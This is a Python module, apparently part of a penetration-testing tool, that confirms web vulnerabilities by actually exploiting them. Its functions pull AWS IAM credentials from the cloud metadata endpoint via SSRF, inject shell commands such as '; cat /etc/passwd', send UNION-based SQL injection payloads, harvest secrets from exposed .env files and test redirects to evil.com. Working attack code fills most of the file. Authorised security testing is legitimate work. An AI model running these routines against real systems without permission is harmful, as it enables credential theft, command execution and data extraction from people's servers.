"""
BREACH.AI - Shannon-Style Exploitation Validator
=================================================

Proof-by-Exploitation: Only report vulnerabilities that can be ACTUALLY exploited.
If we can't exploit it, we don't report it.

This is the core validation engine that:
1. Takes a potential vulnerability finding
2. Attempts actual exploitation
3. Returns only if exploitation succeeds with proof

Validation Methods:
- Browser-based: XSS, CSRF, Clickjacking (requires Playwright)
- HTTP-based: SQLi, SSRF, CMDi, LFI (uses aiohttp)
- Hybrid: Tries HTTP first, falls back to browser for complex cases
"""

import asyncio
import re
import time
import json
import hashlib
from dataclasses import dataclass, field
from datetime import datetime
from typing import Any, Dict, List, Optional, Tuple
from urllib.parse import quote, urljoin

import aiohttp

from .browser import BrowserExploiter, ExploitResult, PLAYWRIGHT_AVAILABLE


@dataclass
class ValidationResult:
    """Result of exploitation validation."""
    is_valid: bool  # Was exploitation successful?
    confidence: float  # 0.0 to 1.0
    reason: str
    exploit_result: Optional[ExploitResult] = None

    # Proof artifacts
    proof_type: str = ""
    proof_data: Dict = field(default_factory=dict)
    screenshot: Optional[bytes] = None
    curl_command: str = ""
    reproduction_steps: List[str] = field(default_factory=list)

    # Timing
    validation_time_ms: float = 0


class ExploitationValidator:
    """
    Shannon-style exploitation validator.

    Validates vulnerabilities through actual exploitation attempts.
    Only reports findings that can be successfully exploited with proof.
    """

    # Minimum confidence threshold for reporting
    MIN_CONFIDENCE = 0.7

    def __init__(
        self,
        session: aiohttp.ClientSession,
        use_browser: bool = True,
        timeout: int = 30,
        screenshot: bool = True,
    ):
        self.session = session
        self.use_browser = use_browser and PLAYWRIGHT_AVAILABLE
        self.timeout = timeout
        self.capture_screenshot = screenshot
        self._browser: Optional[BrowserExploiter] = None
        self._baseline_cache: Dict[str, str] = {}

    async def __aenter__(self):
        """Initialize browser if needed."""
        if self.use_browser:
            self._browser = BrowserExploiter(
                headless=True,
                timeout_ms=self.timeout * 1000,
                screenshot=self.capture_screenshot,
            )
            await self._browser.__aenter__()
        return self

    async def __aexit__(self, *args):
        """Cleanup browser."""
        if self._browser:
            await self._browser.__aexit__(*args)

    async def validate(
        self,
        finding: Any,  # Finding object
        cookies: Dict[str, str] = None,
    ) -> ValidationResult:
        """
        Validate a finding through exploitation.

        This is the main entry point. It routes to the appropriate
        validation method based on vulnerability type.
        """
        start_time = time.time()

        category = finding.category.lower()

        # Route to appropriate validator
        validators = {
            "xss": self._validate_xss,
            "sqli": self._validate_sqli,
            "ssrf": self._validate_ssrf,
            "cmdi": self._validate_cmdi,
            "lfi": self._validate_lfi,
            "nosql": self._validate_nosql,
            "ssti": self._validate_ssti,
            "csrf": self._validate_csrf,
            "clickjacking": self._validate_clickjacking,
            "open_redirect": self._validate_open_redirect,
            "idor": self._validate_idor,
            "auth_bypass": self._validate_auth_bypass,
            "sensitive_file": self._validate_sensitive_file,
        }

        validator = validators.get(category)
        if not validator:
            # Unknown category - attempt generic validation
            return ValidationResult(
                is_valid=False,
                confidence=0.5,
                reason=f"Unknown category '{category}' - manual verification required",
            )

        try:
            result = await validator(finding, cookies)
            result.validation_time_ms = (time.time() - start_time) * 1000
            return result
        except Exception as e:
            return ValidationResult(
                is_valid=False,
                confidence=0.0,
                reason=f"Validation error: {str(e)}",
                validation_time_ms=(time.time() - start_time) * 1000,
            )

    # =========================================================================
    # XSS VALIDATION (Browser-based)
    # =========================================================================

    async def _validate_xss(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> ValidationResult:
        """
        Validate XSS through browser-based exploitation.

        Proof: JavaScript actually executes in the browser.
        """
        url = finding.endpoint
        param = finding.parameter
        payload = finding.payload
        method = finding.method

        # Try browser-based validation first
        if self._browser:
            exploit_result = await self._browser.exploit_xss(
                url=url,
                parameter=param,
                payload=payload,
                method=method,
                cookies=cookies,
            )

            if exploit_result.success:
                return ValidationResult(
                    is_valid=True,
                    confidence=0.95,
                    reason=f"XSS CONFIRMED: JavaScript executed in browser. Proof: {exploit_result.proof_type}",
                    exploit_result=exploit_result,
                    proof_type=exploit_result.proof_type,
                    proof_data=exploit_result.proof_data,
                    screenshot=exploit_result.screenshot,
                    curl_command=self._build_curl(url, param, payload, method),
                    reproduction_steps=[
                        f"1. Open browser and navigate to: {url}",
                        f"2. Set parameter '{param}' to payload: {payload}",
                        "3. Observe JavaScript execution (alert/console/DOM modification)",
                        f"4. Proof captured: {exploit_result.proof_type}",
                    ],
                )

        # Fall back to HTTP-based detection
        return await self._validate_xss_http(finding, cookies)

    async def _validate_xss_http(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> ValidationResult:
        """HTTP-based XSS validation (less reliable than browser)."""
        url = finding.endpoint
        param = finding.parameter
        payload = finding.payload
        method = finding.method

        # Get response with payload
        body, _, _ = await self._send_payload(url, param, payload, method, cookies)

        # Check if payload is reflected unescaped
        if payload in body:
            # Verify it's not escaped
            escaped_patterns = [
                payload.replace("<", "&lt;").replace(">", "&gt;"),
                payload.replace("<", "\\u003c").replace(">", "\\u003e"),
                payload.replace("<", "%3C").replace(">", "%3E"),
            ]

            for escaped in escaped_patterns:
                if escaped in body and payload not in body.replace(escaped, ""):
                    return ValidationResult(
                        is_valid=False,
                        confidence=0.1,
                        reason="Payload reflected but HTML-encoded (safe)",
                    )

            # Check context
            payload_pos = body.find(payload)
            context = body[max(0, payload_pos - 200):payload_pos + len(payload) + 200].lower()

            # Check for safe contexts
            safe_contexts = ["<textarea", "<!--", "<input", "value="]
            for safe in safe_contexts:
                if safe in context:
                    return ValidationResult(
                        is_valid=False,
                        confidence=0.2,
                        reason=f"Payload in potentially safe context: {safe}",
                    )

            # Looks valid but can't confirm execution without browser
            return ValidationResult(
                is_valid=True,
                confidence=0.6,  # Lower confidence without browser
                reason="XSS: Payload reflected unescaped (browser validation recommended)",
                curl_command=self._build_curl(url, param, payload, method),
                reproduction_steps=[
                    f"1. Send request with payload: {payload}",
                    "2. Verify payload is reflected unescaped in response",
                    "3. Test in browser to confirm execution",
                ],
            )

        return ValidationResult(
            is_valid=False,
            confidence=0.0,
            reason="Payload not reflected in response",
        )

    # =========================================================================
    # SQL INJECTION VALIDATION
    # =========================================================================

    async def _validate_sqli(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> ValidationResult:
        """
        Validate SQL injection through actual exploitation.

        Proof: SQL error triggered OR data extracted OR time delay confirmed.
        """
        url = finding.endpoint
        param = finding.parameter
        payload = finding.payload
        method = finding.method

        # Check if time-based
        if any(t in payload.lower() for t in ["sleep", "waitfor", "benchmark"]):
            return await self._validate_sqli_time_based(finding, cookies)

        # Get baseline
        baseline = await self._get_baseline(url, param, method, cookies)

        # Get exploited response
        body, elapsed, status = await self._send_payload(url, param, payload, method, cookies)

        # Check for SQL errors
        sql_error_patterns = [
            (r"sql.*syntax", "MySQL"),
            (r"mysql.*error", "MySQL"),
            (r"pg_.*error", "PostgreSQL"),
            (r"sqlite.*error", "SQLite"),
            (r"ora-\d{5}", "Oracle"),
            (r"microsoft.*odbc", "MSSQL"),
            (r"unclosed quotation mark", "MSSQL"),
            (r"quoted string not properly terminated", "Oracle"),
            (r"you have an error in your sql", "MySQL"),
        ]

        # Check if error is in baseline (false positive)
        baseline_has_error = any(
            re.search(pattern, baseline, re.IGNORECASE)
            for pattern, _ in sql_error_patterns
        )

        if baseline_has_error:
            return ValidationResult(
                is_valid=False,
                confidence=0.0,
                reason="SQL error exists in baseline - likely static content",
            )

        # Check for SQL errors in exploited response
        for pattern, db_type in sql_error_patterns:
            if re.search(pattern, body, re.IGNORECASE):
                # Verify error doesn't appear with safe input
                safe_body, _, _ = await self._send_payload(url, param, "safe_test_123", method, cookies)
                if re.search(pattern, safe_body, re.IGNORECASE):
                    return ValidationResult(
                        is_valid=False,
                        confidence=0.1,
                        reason="SQL error appears even with safe input",
                    )

                # CONFIRMED - attempt data extraction
                extracted_data = await self._extract_sqli_data(url, param, method, cookies)

                return ValidationResult(
                    is_valid=True,
                    confidence=0.95,
                    reason=f"SQL INJECTION CONFIRMED ({db_type}). Error triggered by payload.",
                    proof_type="sql_error",
                    proof_data={
                        "database": db_type,
                        "error_pattern": pattern,
                        "extracted_data": extracted_data,
                    },
                    curl_command=self._build_curl(url, param, payload, method),
                    reproduction_steps=[
                        f"1. Send payload: {payload}",
                        f"2. Observe {db_type} error in response",
                        f"3. Data extracted: {len(extracted_data)} items",
                    ],
                )

        # Check for UNION-based data extraction
        if "union" in payload.lower():
            # Look for data patterns that indicate successful extraction
            data_patterns = [
                r'([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,})',  # Emails
                r'(\$2[aby]?\$\d+\$[./A-Za-z0-9]{53})',  # Bcrypt hashes
                r'([a-f0-9]{32})',  # MD5 hashes
                r'(root:x?:0:0:)',  # passwd format
            ]

            extracted = []
            for pattern in data_patterns:
                matches = re.findall(pattern, body)
                baseline_matches = set(re.findall(pattern, baseline))
                new_matches = [m for m in matches if m not in baseline_matches]
                extracted.extend(new_matches)

            if extracted:
                return ValidationResult(
                    is_valid=True,
                    confidence=0.9,
                    reason=f"SQL INJECTION CONFIRMED: UNION extraction successful. {len(extracted)} items extracted.",
                    proof_type="data_extraction",
                    proof_data={
                        "extracted_items": extracted[:20],
                        "count": len(extracted),
                    },
                    curl_command=self._build_curl(url, param, payload, method),
                    reproduction_steps=[
                        f"1. Send UNION payload: {payload[:100]}...",
                        f"2. Extract {len(extracted)} data items from response",
                    ],
                )

        return ValidationResult(
            is_valid=False,
            confidence=0.0,
            reason="No SQL error or data extraction confirmed",
        )

    async def _validate_sqli_time_based(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> ValidationResult:
        """Validate time-based blind SQLi."""
        url = finding.endpoint
        param = finding.parameter
        payload = finding.payload
        method = finding.method

        required_delay = 4.5  # seconds
        delays = []

        # Test 3 times for consistency
        for _ in range(3):
            _, elapsed, _ = await self._send_payload(url, param, payload, method, cookies)
            delays.append(elapsed)
            await asyncio.sleep(0.5)

        successful_delays = sum(1 for d in delays if d >= required_delay)

        if successful_delays < 2:
            return ValidationResult(
                is_valid=False,
                confidence=0.0,
                reason=f"Time delay not reproducible. Delays: {delays}",
            )

        # Verify baseline isn't slow
        baseline_delays = []
        for _ in range(2):
            _, elapsed, _ = await self._send_payload(url, param, "safe_value_123", method, cookies)
            baseline_delays.append(elapsed)

        avg_baseline = sum(baseline_delays) / len(baseline_delays)
        if avg_baseline >= required_delay - 1:
            return ValidationResult(
                is_valid=False,
                confidence=0.1,
                reason=f"Baseline also slow ({avg_baseline:.1f}s) - server latency, not SQLi",
            )

        return ValidationResult(
            is_valid=True,
            confidence=0.9,
            reason=f"TIME-BASED SQLi CONFIRMED: {successful_delays}/3 delays of {required_delay}s+",
            proof_type="time_delay",
            proof_data={
                "delays": delays,
                "baseline_avg": avg_baseline,
            },
            curl_command=self._build_curl(url, param, payload, method),
            reproduction_steps=[
                f"1. Send time-based payload: {payload}",
                f"2. Measure response time (expected: ~5s delay)",
                f"3. Compare with baseline (~{avg_baseline:.1f}s)",
            ],
        )

    async def _extract_sqli_data(
        self,
        url: str,
        param: str,
        method: str,
        cookies: Dict[str, str],
    ) -> Dict:
        """Attempt to extract data via SQL injection."""
        extracted = {}

        # Try version extraction
        for version_func in ["version()", "@@version", "sqlite_version()"]:
            payload = f"' UNION SELECT {version_func}--"
            body, _, _ = await self._send_payload(url, param, payload, method, cookies)

            version_patterns = [
                r'(\d+\.\d+\.\d+[-\w]*)',
                r'(MySQL[^<\n]{0,50})',
                r'(PostgreSQL[^<\n]{0,50})',
            ]
            for pattern in version_patterns:
                if match := re.search(pattern, body):
                    extracted["db_version"] = match.group(1)[:100]
                    break
            if extracted.get("db_version"):
                break

        return extracted

    # =========================================================================
    # SSRF VALIDATION
    # =========================================================================

    async def _validate_ssrf(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> ValidationResult:
        """
        Validate SSRF through actual internal access.

        Proof: Internal content retrieved OR cloud metadata accessed.
        """
        url = finding.endpoint
        param = finding.parameter
        payload = finding.payload
        method = finding.method

        baseline = await self._get_baseline(url, param, method, cookies)
        body, elapsed, status = await self._send_payload(url, param, payload, method, cookies)

        # Check for cloud metadata
        if "169.254.169.254" in payload or "metadata" in payload.lower():
            metadata_patterns = [
                (r'ami-[a-z0-9]+', "AWS AMI ID"),
                (r'i-[a-z0-9]{8,17}', "AWS Instance ID"),
                (r'arn:aws:', "AWS ARN"),
                (r'AKIA[A-Z0-9]{16}', "AWS Access Key"),
                (r'computeMetadata', "GCP Metadata"),
                (r'instance/zone', "GCP Zone"),
            ]

            for pattern, indicator in metadata_patterns:
                if re.search(pattern, body) and not re.search(pattern, baseline):
                    # Attempt to extract credentials
                    creds = await self._extract_cloud_creds(url, param, method, cookies)

                    return ValidationResult(
                        is_valid=True,
                        confidence=0.95,
                        reason=f"SSRF CONFIRMED: Cloud metadata accessed. Found: {indicator}",
                        proof_type="cloud_metadata",
                        proof_data={
                            "indicator": indicator,
                            "credentials": creds,
                        },
                        curl_command=self._build_curl(url, param, payload, method),
                        reproduction_steps=[
                            f"1. Set {param} to: {payload}",
                            f"2. Observe cloud metadata in response ({indicator})",
                            "3. Extract IAM credentials if available",
                        ],
                    )

        # Check for internal service access
        internal_indicators = [
            ("127.0.0.1", "localhost access"),
            ("localhost", "localhost access"),
            ("internal", "internal network"),
            ("intranet", "internal network"),
            ("private", "private network"),
        ]

        for indicator, desc in internal_indicators:
            if indicator in body.lower() and indicator not in baseline.lower():
                # Check response isn't just an error
                if len(body) > 100 and "connection refused" not in body.lower():
                    return ValidationResult(
                        is_valid=True,
                        confidence=0.75,
                        reason=f"SSRF CONFIRMED: {desc}. Internal content retrieved.",
                        proof_type="internal_access",
                        proof_data={
                            "indicator": indicator,
                            "content_length": len(body),
                        },
                        curl_command=self._build_curl(url, param, payload, method),
                    )

        return ValidationResult(
            is_valid=False,
            confidence=0.0,
            reason="No internal access or metadata confirmed",
        )

    async def _extract_cloud_creds(
        self,
        url: str,
        param: str,
        method: str,
        cookies: Dict[str, str],
    ) -> Dict:
        """Extract cloud credentials via SSRF."""
        creds = {}

        # Try to get IAM role
        role_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
        body, _, status = await self._send_payload(url, param, role_url, method, cookies)

        if status == 200 and body:
            role_name = body.strip().split("\n")[0]
            if role_name and not role_name.startswith("<"):
                creds["iam_role"] = role_name

                # Get actual credentials
                creds_url = f"{role_url}{role_name}"
                creds_body, _, _ = await self._send_payload(url, param, creds_url, method, cookies)

                if "AccessKeyId" in creds_body:
                    if match := re.search(r'"AccessKeyId"\s*:\s*"([^"]+)"', creds_body):
                        creds["access_key_id"] = match.group(1)
                    if match := re.search(r'"SecretAccessKey"\s*:\s*"([^"]+)"', creds_body):
                        creds["secret_access_key"] = match.group(1)[:10] + "...[REDACTED]"

        return creds

    # =========================================================================
    # COMMAND INJECTION VALIDATION
    # =========================================================================

    async def _validate_cmdi(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> ValidationResult:
        """
        Validate command injection through actual command execution.

        Proof: System command output in response.
        """
        url = finding.endpoint
        param = finding.parameter
        payload = finding.payload
        method = finding.method

        baseline = await self._get_baseline(url, param, method, cookies)
        body, elapsed, status = await self._send_payload(url, param, payload, method, cookies)

        # Command output patterns
        cmdi_patterns = [
            (r'uid=\d+\([^)]+\)\s+gid=\d+', "id command"),
            (r'root:x?:0:0:', "/etc/passwd"),
            (r'total \d+\ndrwx', "ls -la"),
            (r'[A-Z_]+=.*\n[A-Z_]+=', "env output"),
            (r'Linux \w+ \d+\.\d+', "uname output"),
            (r'Windows.*\d+\.\d+', "Windows version"),
        ]

        for pattern, desc in cmdi_patterns:
            if re.search(pattern, body) and not re.search(pattern, baseline):
                # CONFIRMED - attempt further extraction
                breached_data = await self._breach_cmdi(url, param, method, cookies)

                return ValidationResult(
                    is_valid=True,
                    confidence=0.95,
                    reason=f"COMMAND INJECTION CONFIRMED: {desc} output detected",
                    proof_type="command_output",
                    proof_data={
                        "output_type": desc,
                        "breached_data": breached_data,
                    },
                    curl_command=self._build_curl(url, param, payload, method),
                    reproduction_steps=[
                        f"1. Inject command: {payload}",
                        f"2. Observe system output ({desc})",
                        f"3. Full system access achieved",
                    ],
                )

        return ValidationResult(
            is_valid=False,
            confidence=0.0,
            reason="No command output detected",
        )

    async def _breach_cmdi(
        self,
        url: str,
        param: str,
        method: str,
        cookies: Dict[str, str],
    ) -> Dict:
        """Extract system information via command injection."""
        breached = {}

        commands = [
            ("; whoami", "whoami"),
            ("; hostname", "hostname"),
            ("; cat /etc/passwd | head -5", "passwd"),
        ]

        for cmd, key in commands:
            body, _, _ = await self._send_payload(url, param, cmd, method, cookies)
            if body and len(body) > 10:
                breached[key] = body[:200]

        return breached

    # =========================================================================
    # LFI VALIDATION
    # =========================================================================

    async def _validate_lfi(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> ValidationResult:
        """
        Validate LFI/Path Traversal through actual file read.

        Proof: File contents in response.
        """
        url = finding.endpoint
        param = finding.parameter
        payload = finding.payload
        method = finding.method

        baseline = await self._get_baseline(url, param, method, cookies)
        body, elapsed, status = await self._send_payload(url, param, payload, method, cookies)

        # File content patterns
        lfi_patterns = [
            (r'root:.*?:0:0:.*?:/root:', "/etc/passwd"),
            (r'\[extensions\]', "win.ini"),
            (r'<\?php', "PHP source"),
            (r'#!/bin/', "Shell script"),
            (r'DB_PASSWORD|DATABASE_URL|SECRET_KEY', "Config file"),
            (r'-----BEGIN.*PRIVATE KEY-----', "Private key"),
        ]

        for pattern, desc in lfi_patterns:
            if re.search(pattern, body, re.IGNORECASE) and not re.search(pattern, baseline, re.IGNORECASE):
                return ValidationResult(
                    is_valid=True,
                    confidence=0.9,
                    reason=f"LFI CONFIRMED: {desc} content extracted",
                    proof_type="file_content",
                    proof_data={
                        "file_type": desc,
                        "content_sample": body[:500],
                    },
                    curl_command=self._build_curl(url, param, payload, method),
                )

        return ValidationResult(
            is_valid=False,
            confidence=0.0,
            reason="No file content detected",
        )

    # =========================================================================
    # NOSQL INJECTION VALIDATION
    # =========================================================================

    async def _validate_nosql(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> ValidationResult:
        """Validate NoSQL injection."""
        url = finding.endpoint
        param = finding.parameter
        payload = finding.payload
        method = finding.method

        baseline_body, _, baseline_status = await self._send_payload_raw(
            url, param, "test123", method, cookies
        )
        body, elapsed, status = await self._send_payload_raw(
            url, param, payload, method, cookies
        )

        # Auth bypass check
        if baseline_status in [401, 403] and status == 200:
            return ValidationResult(
                is_valid=True,
                confidence=0.85,
                reason=f"NoSQL AUTH BYPASS CONFIRMED: Status {baseline_status} → {status}",
                proof_type="auth_bypass",
                proof_data={
                    "original_status": baseline_status,
                    "bypassed_status": status,
                },
                curl_command=self._build_curl(url, param, payload, method),
            )

        # Data exposure check
        if len(body) > len(baseline_body) * 1.5 and len(body) > 500:
            return ValidationResult(
                is_valid=True,
                confidence=0.75,
                reason=f"NoSQL DATA EXPOSURE: Response {len(body)} vs baseline {len(baseline_body)} bytes",
                proof_type="data_exposure",
                curl_command=self._build_curl(url, param, payload, method),
            )

        return ValidationResult(
            is_valid=False,
            confidence=0.0,
            reason="No auth bypass or data exposure confirmed",
        )

    # =========================================================================
    # SSTI VALIDATION
    # =========================================================================

    async def _validate_ssti(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> ValidationResult:
        """Validate SSTI through template evaluation."""
        url = finding.endpoint
        param = finding.parameter
        payload = finding.payload
        method = finding.method

        body, elapsed, status = await self._send_payload(url, param, payload, method, cookies)

        # Check for math evaluation
        expected_results = [
            ("{{7*7}}", "49"),
            ("${7*7}", "49"),
            ("#{7*7}", "49"),
            ("{{7*'7'}}", "7777777"),
        ]

        for test_payload, expected in expected_results:
            if test_payload in payload or expected in payload:
                if expected in body and payload not in body:
                    # Verify expected isn't in baseline
                    baseline = await self._get_baseline(url, param, method, cookies)
                    if expected not in baseline:
                        return ValidationResult(
                            is_valid=True,
                            confidence=0.95,
                            reason=f"SSTI CONFIRMED: Template evaluated {payload} → {expected}",
                            proof_type="template_evaluation",
                            proof_data={
                                "payload": payload,
                                "result": expected,
                            },
                            curl_command=self._build_curl(url, param, payload, method),
                        )

        return ValidationResult(
            is_valid=False,
            confidence=0.0,
            reason="Template evaluation not confirmed",
        )

    # =========================================================================
    # CSRF VALIDATION (Browser-based)
    # =========================================================================

    async def _validate_csrf(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> ValidationResult:
        """Validate CSRF (requires browser)."""
        if not self._browser:
            return ValidationResult(
                is_valid=True,
                confidence=0.5,
                reason="CSRF detected (browser validation recommended for confirmation)",
            )

        # Browser-based CSRF validation would go here
        # For now, return medium confidence
        return ValidationResult(
            is_valid=True,
            confidence=0.6,
            reason="CSRF vulnerability detected - manual verification recommended",
        )

    # =========================================================================
    # CLICKJACKING VALIDATION (Browser-based)
    # =========================================================================

    async def _validate_clickjacking(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> ValidationResult:
        """Validate clickjacking through iframe embedding."""
        if not self._browser:
            return ValidationResult(
                is_valid=True,
                confidence=0.5,
                reason="Missing X-Frame-Options (browser validation recommended)",
            )

        exploit_result = await self._browser.exploit_clickjacking(
            url=finding.endpoint,
            cookies=cookies,
        )

        if exploit_result.success:
            return ValidationResult(
                is_valid=True,
                confidence=0.85,
                reason="CLICKJACKING CONFIRMED: Page embeddable in iframe",
                exploit_result=exploit_result,
                proof_type="iframe_embeddable",
                screenshot=exploit_result.screenshot,
            )

        return ValidationResult(
            is_valid=False,
            confidence=0.0,
            reason="Page cannot be embedded in iframe",
        )

    # =========================================================================
    # OPEN REDIRECT VALIDATION
    # =========================================================================

    async def _validate_open_redirect(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> ValidationResult:
        """Validate open redirect."""
        if self._browser:
            exploit_result = await self._browser.exploit_open_redirect(
                url=finding.endpoint,
                parameter=finding.parameter,
                redirect_target="https://evil.com",
                cookies=cookies,
            )

            if exploit_result.success:
                return ValidationResult(
                    is_valid=True,
                    confidence=0.9,
                    reason=f"OPEN REDIRECT CONFIRMED: Redirected to {exploit_result.proof_data.get('final_url')}",
                    exploit_result=exploit_result,
                )

        return ValidationResult(
            is_valid=True,
            confidence=0.5,
            reason="Open redirect detected - browser validation recommended",
        )

    # =========================================================================
    # IDOR VALIDATION
    # =========================================================================

    async def _validate_idor(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> ValidationResult:
        """Validate IDOR through unauthorized data access."""
        url = finding.endpoint
        param = finding.parameter
        payload = finding.payload
        method = finding.method

        # IDOR validation requires comparing responses with different user contexts
        # This is a simplified version
        body, elapsed, status = await self._send_payload(url, param, payload, method, cookies)

        if status == 200 and len(body) > 100:
            # Check for data patterns
            data_patterns = [
                r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}',
                r'"user.*?":\s*"[^"]+"',
                r'"email.*?":\s*"[^"]+"',
            ]

            extracted = []
            for pattern in data_patterns:
                matches = re.findall(pattern, body)
                extracted.extend(matches)

            if extracted:
                return ValidationResult(
                    is_valid=True,
                    confidence=0.75,
                    reason=f"IDOR CONFIRMED: Accessed data with modified ID. {len(extracted)} items found.",
                    proof_type="data_access",
                    proof_data={
                        "extracted": extracted[:10],
                    },
                    curl_command=self._build_curl(url, param, payload, method),
                )

        return ValidationResult(
            is_valid=True,
            confidence=0.5,
            reason="IDOR detected - cross-user validation recommended",
        )

    # =========================================================================
    # AUTH BYPASS VALIDATION
    # =========================================================================

    async def _validate_auth_bypass(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> ValidationResult:
        """Validate authentication bypass."""
        if self._browser:
            # Use browser for comprehensive auth bypass testing
            exploit_result = await self._browser.exploit_auth_bypass(
                login_url=finding.endpoint,
                protected_url=finding.endpoint.replace("/login", "/dashboard"),
                bypass_method=finding.category,
                payload={"username": finding.payload, "password": finding.payload},
                cookies=cookies,
            )

            if exploit_result.success:
                return ValidationResult(
                    is_valid=True,
                    confidence=0.9,
                    reason="AUTH BYPASS CONFIRMED: Accessed protected resource",
                    exploit_result=exploit_result,
                )

        return ValidationResult(
            is_valid=True,
            confidence=0.6,
            reason="Auth bypass detected - manual verification recommended",
        )

    # =========================================================================
    # SENSITIVE FILE VALIDATION
    # =========================================================================

    async def _validate_sensitive_file(
        self,
        finding: Any,
        cookies: Dict[str, str] = None,
    ) -> ValidationResult:
        """Validate sensitive file exposure."""
        url = finding.endpoint

        try:
            async with self.session.get(
                url,
                cookies=cookies,
                ssl=False,
                timeout=self.timeout
            ) as response:
                if response.status != 200:
                    return ValidationResult(
                        is_valid=False,
                        confidence=0.0,
                        reason=f"File not accessible (status {response.status})",
                    )

                body = await response.text()

                # Validate based on file type
                if ".env" in url:
                    if "=" in body and len(body) > 10:
                        # Extract secrets
                        secrets = re.findall(
                            r'((?:PASSWORD|SECRET|KEY|TOKEN|API)[A-Z_]*=[^\n]+)',
                            body, re.IGNORECASE
                        )
                        return ValidationResult(
                            is_valid=True,
                            confidence=0.9,
                            reason=f"SENSITIVE FILE CONFIRMED: .env accessible with {len(secrets)} secrets",
                            proof_type="file_accessible",
                            proof_data={
                                "secrets_count": len(secrets),
                                "secrets": secrets[:5],
                            },
                            curl_command=f"curl '{url}'",
                        )

                if ".git" in url:
                    if "ref:" in body or "[core]" in body:
                        return ValidationResult(
                            is_valid=True,
                            confidence=0.9,
                            reason="SENSITIVE FILE CONFIRMED: .git exposed",
                            proof_type="file_accessible",
                            curl_command=f"curl '{url}'",
                        )

                if len(body) > 10:
                    return ValidationResult(
                        is_valid=True,
                        confidence=0.7,
                        reason="Sensitive file accessible",
                        proof_type="file_accessible",
                        curl_command=f"curl '{url}'",
                    )

        except Exception as e:
            return ValidationResult(
                is_valid=False,
                confidence=0.0,
                reason=f"Failed to access file: {e}",
            )

        return ValidationResult(
            is_valid=False,
            confidence=0.0,
            reason="File appears empty or inaccessible",
        )

    # =========================================================================
    # HELPER METHODS
    # =========================================================================

    async def _get_baseline(
        self,
        url: str,
        param: str,
        method: str,
        cookies: Dict[str, str] = None,
    ) -> str:
        """Get baseline response with safe input."""
        cache_key = f"{method}:{url}:{param}"
        if cache_key in self._baseline_cache:
            return self._baseline_cache[cache_key]

        body, _, _ = await self._send_payload(url, param, "safe_test_123", method, cookies)
        self._baseline_cache[cache_key] = body
        return body

    async def _send_payload(
        self,
        url: str,
        param: str,
        payload: str,
        method: str = "GET",
        cookies: Dict[str, str] = None,
    ) -> Tuple[str, float, int]:
        """Send payload and return (body, elapsed, status)."""
        try:
            start = time.time()

            if method.upper() == "GET":
                sep = "&" if "?" in url else "?"
                test_url = f"{url}{sep}{param}={quote(str(payload))}"
                async with self.session.get(
                    test_url, cookies=cookies, ssl=False, timeout=self.timeout
                ) as response:
                    body = await response.text()
                    return body, time.time() - start, response.status
            else:
                async with self.session.post(
                    url, data={param: payload}, cookies=cookies, ssl=False, timeout=self.timeout
                ) as response:
                    body = await response.text()
                    return body, time.time() - start, response.status

        except asyncio.TimeoutError:
            return "", self.timeout, 0
        except Exception as e:
            return "", 0, 0

    async def _send_payload_raw(
        self,
        url: str,
        param: str,
        payload: str,
        method: str = "GET",
        cookies: Dict[str, str] = None,
    ) -> Tuple[str, float, int]:
        """Send payload without URL encoding (for JSON/NoSQL payloads)."""
        try:
            start = time.time()

            if method.upper() == "GET":
                sep = "&" if "?" in url else "?"
                test_url = f"{url}{sep}{param}={payload}"
                async with self.session.get(
                    test_url, cookies=cookies, ssl=False, timeout=self.timeout
                ) as response:
                    body = await response.text()
                    return body, time.time() - start, response.status
            else:
                async with self.session.post(
                    url, json={param: payload}, cookies=cookies, ssl=False, timeout=self.timeout
                ) as response:
                    body = await response.text()
                    return body, time.time() - start, response.status

        except Exception:
            return "", 0, 0

    def _build_curl(
        self,
        url: str,
        param: str,
        payload: str,
        method: str,
    ) -> str:
        """Build curl command for reproduction."""
        encoded_payload = quote(str(payload))

        if method.upper() == "GET":
            sep = "&" if "?" in url else "?"
            return f"curl '{url}{sep}{param}={encoded_payload}'"
        else:
            return f"curl -X POST '{url}' -d '{param}={encoded_payload}'"
